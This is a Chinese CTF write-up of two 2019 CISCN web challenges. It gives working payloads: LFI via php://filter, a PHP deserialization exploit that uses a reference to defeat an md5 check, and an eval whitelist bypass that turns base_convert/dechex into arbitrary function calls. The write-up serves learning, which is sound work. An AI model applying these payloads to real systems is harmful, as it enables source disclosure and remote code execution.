2019全国大学生信息安全大赛两道web

简单小结

菜鸟第一次打国赛,这次题目质量很高,学到了许多姿势。

Web

Justsoso

打开题目,源代码出存在提示:

使用LFI读取index.php与hint.php

http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=index.php

http://d4dc224926cd47bca560b0ec2f84bad155efe5b747574b89.changame.ichunqiu.com/?file=php://filter/read=convert.base64-encode/resource=hint.php

得如下源码:

<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
    echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
    die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) {
            die('stop hacking!');
            exit();
        }
    }
    $payload = unserialize($payload);
}else{
   echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

<?php
class Handle{
    private $handle;
    public function __wakeup(){
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
    public function __construct($handle) {
        $this->handle = $handle;
    }
    public function __destruct(){
        $this->handle->getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this->file = $file;
        $this->token_flag = $this->token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            if(isset($this->file)){
                echo @highlight_file($this->file,true);
            }
        }
    }
}
?>

很容易可以知道此题考的是php反序列化,通过file引入hint.phpindex.php,操作payload反序列化执行类中的getflag()函数
此题有两个难点:
正则Flag判断绕过与随机数md5判断的绕过
前者可通过使用 ///绕过parse_url()函数,此时该函数获取到的内容为空,而后者可以使用指针来将token_flag指向token,来使两者恒等。

添加以下代码在本地生成序列化字符串:

$a = new Flag(‘flag.php’);
$a->token_flag = &$a->token;
$b = new Handle($a);
echo urlencode(serialize($b));

输出的结果为:

O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22bc573864331a9e42e4511de6f678aa83%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

注意里边有不可见字符%00,且需要将Handle的对象数量改成2+,这样才可以进入__destruct函数。
故最终payload为:

///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:32:"bc573864331a9e42e4511de6f678aa83";s:10:"token_flag";R:4;}}

love_math

打开题目,发现在js地址出使用ajax向calc.php发送数据
使用浏览器访问之,得源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

可以看到过滤了一些常用字符和基于白名单的过滤,
限制得比较死,故此处我们只能使用白名单内的函数来进行命令执行,且不能有黑名单内的字符。

我们注意到,白名单里边的base_convert、dechex、decbin等用于进制转换的函数,我们可以使用其来绕过基于白名单的检测。比如:phpinfo可以将phpinfo先转换成hex,在转换成十进制,这样就可以做到无字母执行函数。

由于长度问题,我们无法直接在参数c里传过多的白名单函数+字符,所以这里我们使用其他GET参数传入,不直接使用参数c,即可绕过,但要注意的是此处的参数名,不能为字母,只能为数字,不然会被第二个关键词白名单所拦截。

再由于Ascii转成Hex后转回来需要hex2bin函数,而白名单里并没有这个函数,所以我们需要使用进制转换进行绕过,又因为hex2bin里部分字母只有在32进制后才会出现,所以此处我们选择36进制。将hex2bin36进制成无字母的10进制得到:37907361743我们使用base_convert(37907361743,10,36即可转换成hex2bin,而_GEThex5f474554,里边包含了字母f,需要在进行一次转换:f正好为16进制里的最后一个字母,可直接使用dechex(1598506324)即可绕过。故$sin=base_convert(37907361743,10,36)(dechex(1598506324))即为$sin=_GET
接着我们继续构造:
我们知道:$$sin = $_GET
那么$$sin[a]()即可自定义函数名,但主要此处参数不可为字母,且[]被过滤,故改成`$$sin{0}($$sin{1})``
所以payload构造如下:

?C=$sin=base_convert(37907361743,10,36)(dechex(1598506324));$$sin{0}($$sin{1});&0=show_source&1=flag.php

原文地址:https://www.cnblogs.com/yunen/p/10801424.html

时间: 2024-10-11 15:34:46

2019全国大学生信息安全大赛两道web的相关文章

2019全国大学生信息安全竞赛wp(4web)

web1-JustSoso php伪协议获取源码 ?file=php://filter/read=convert.base64-encode/resource=index.php index.php 1 <html> 2 <?php 3 error_reporting(0); 4 $file = $_GET["file"]; 5 $payload = $_GET["payload"]; 6 if(!isset($file)){ 7 echo 'Mi

2019CISCN华南线下两道web复现

原帖地址 : https://xz.aliyun.com/t/5558 2019CISCN华南线下的两个简单 web 部分题目下载地址,有的不完整 : 点我点我 web 1 考点 : 无参函数的 RCE 在注释中发现了 forgetpassword.php 页面 打开 forgetpassword.php,要求输入一个用户名,尝试用户名爆破,结果为 admin123 import requests url = "http://127.0.0.1/ciscn/web1/useri.php"

CTF 两道web整数溢出题目(猫咪银行和ltshop)

①猫咪银行: (2018中科大hackgame) 一开始给十个CTB,而flag需要20个CTB,我们需要理财赚够20个. 理财是只能买入TDSU才可以获得收益.我们先上来直接把CTB全部换成TDSU. 上边是我们花了所有TDSU:66060买了19分钟后的收益.(因为一个账号最多存在20分钟,计算你用脚本极限也不能买20分钟,必须留一分钟用来换TDSU和买入,取出等操作) 还是不行,算上收益的钱1200231也不够买20个CTB. 考虑买RMX是否存在汇率差. 发现一个CTB57个RMX,一个

2019 上海市大学生网络安全大赛 RE部分WP

这次比赛就做了这一道逆向题,看到队友的WP,下面的对v10的加密方式为RC4,从我提取的v4数组就能够察觉出这是CR4了,自己傻乎乎的用OD调试,跟踪数据半天才做出来,还是见得的少了... ...下面有几篇不错的RC4的文章: C语言实现:https://zhoujianshi.github.io/articles/2016/RC4%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/index.html Python实现:https://specters.top/2019/

2019年华北五省(市、自治区)及港澳台大学生计算机应用大赛 - 河北赛区

2019年华北五省(市.自治区)及港澳台大学生计算机应用大赛 移动互联网应用创新 http://bjcac.buu.edu.cn/a/1.aspx 河北省 一二等奖(答辩后分出一.二等): 河北省 三等奖: 原文地址:https://www.cnblogs.com/hbuwyg/p/11723852.html

中国科学技术大学第五届信息安全大赛(hackergame2018自我总结)2

这一批题都是我不会的,只能把官方write-up放在这里了 1.FLXG 的秘密 ------------------------------------------------------------------------------------------------------------ 公元 0xFB2 年, FLXG 正当其道.没错, 在 CWK 的伟大倡导之下, 年份采用了更为先进的 16 进制表示. 中国滑稽大学也因为率先提出了 FLXG 的理论, 其世界超一流的院校的地位已经

【翻译贴】上海市第八届星光计划(2019年)技能大赛网站设计(中职组)决赛题目

两年一度的上海市星光计划比赛被誉为职业技能大赛的奥林匹克,比赛分为中职组和高职组 随着若干年的发展,比赛的题目强度逐年提高,逐步向世界职业技能大赛的比赛强度靠拢 这次翻译的题目是上海市第八届星光计划(2019年)技能大赛网站设计(中职教师组)的决赛题目.全文是英文的,学生组的题目和教师组差不多,个别地方降低了要求.故这次翻译了教师组的题目. 决赛要求 模块 A:站点设计 一.竞赛时间 150 min 二.竞赛任务及要求 1. INTRODUCTION: Frankfurt Internation

第五届蓝桥杯全国软件设计大赛--2013年校内选拔赛Java题目

第五届蓝桥杯全国软件设计大赛 2013年校内选拔赛Java题目 一.考生注意: (1)[结果填空题]要求参赛选手根据题目描述直接填写结果.求解方式不限.不要求源代码. 把答案存入[考生文件夹]下对应题号的文件中即可. (2)[代码填空题]要求参赛选手在弄清给定代码工作原理的基础上填写缺失的部分,使得程序逻辑正确.完整.所填写的代码不超过一条语句(即中间不能出现分号). 把填空的答案(仅填空处的答案,不包括题面已存在的代码)存入[考生文件夹]下对应题号的文件中中即可. (3)[编程题]要求选手设计

第十一届GPCT杯大学生程序设计大赛完美闭幕

刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!>: 感谢葡萄城给我的这次的锻炼的机会,让我学会了非常多,也明确了非常多!最重要的是感谢评委们!你们辛苦了! 感谢MTV-我在上嵌入式课-- 永远别忘了为你付出的人,成就永远不属于一个人.就是装也得怀有一颗谦卑感恩之心.版主大人受小弟一拜! 再次感谢品审大人,我们组还非常多要改进的,到时候一定要跟各路大神好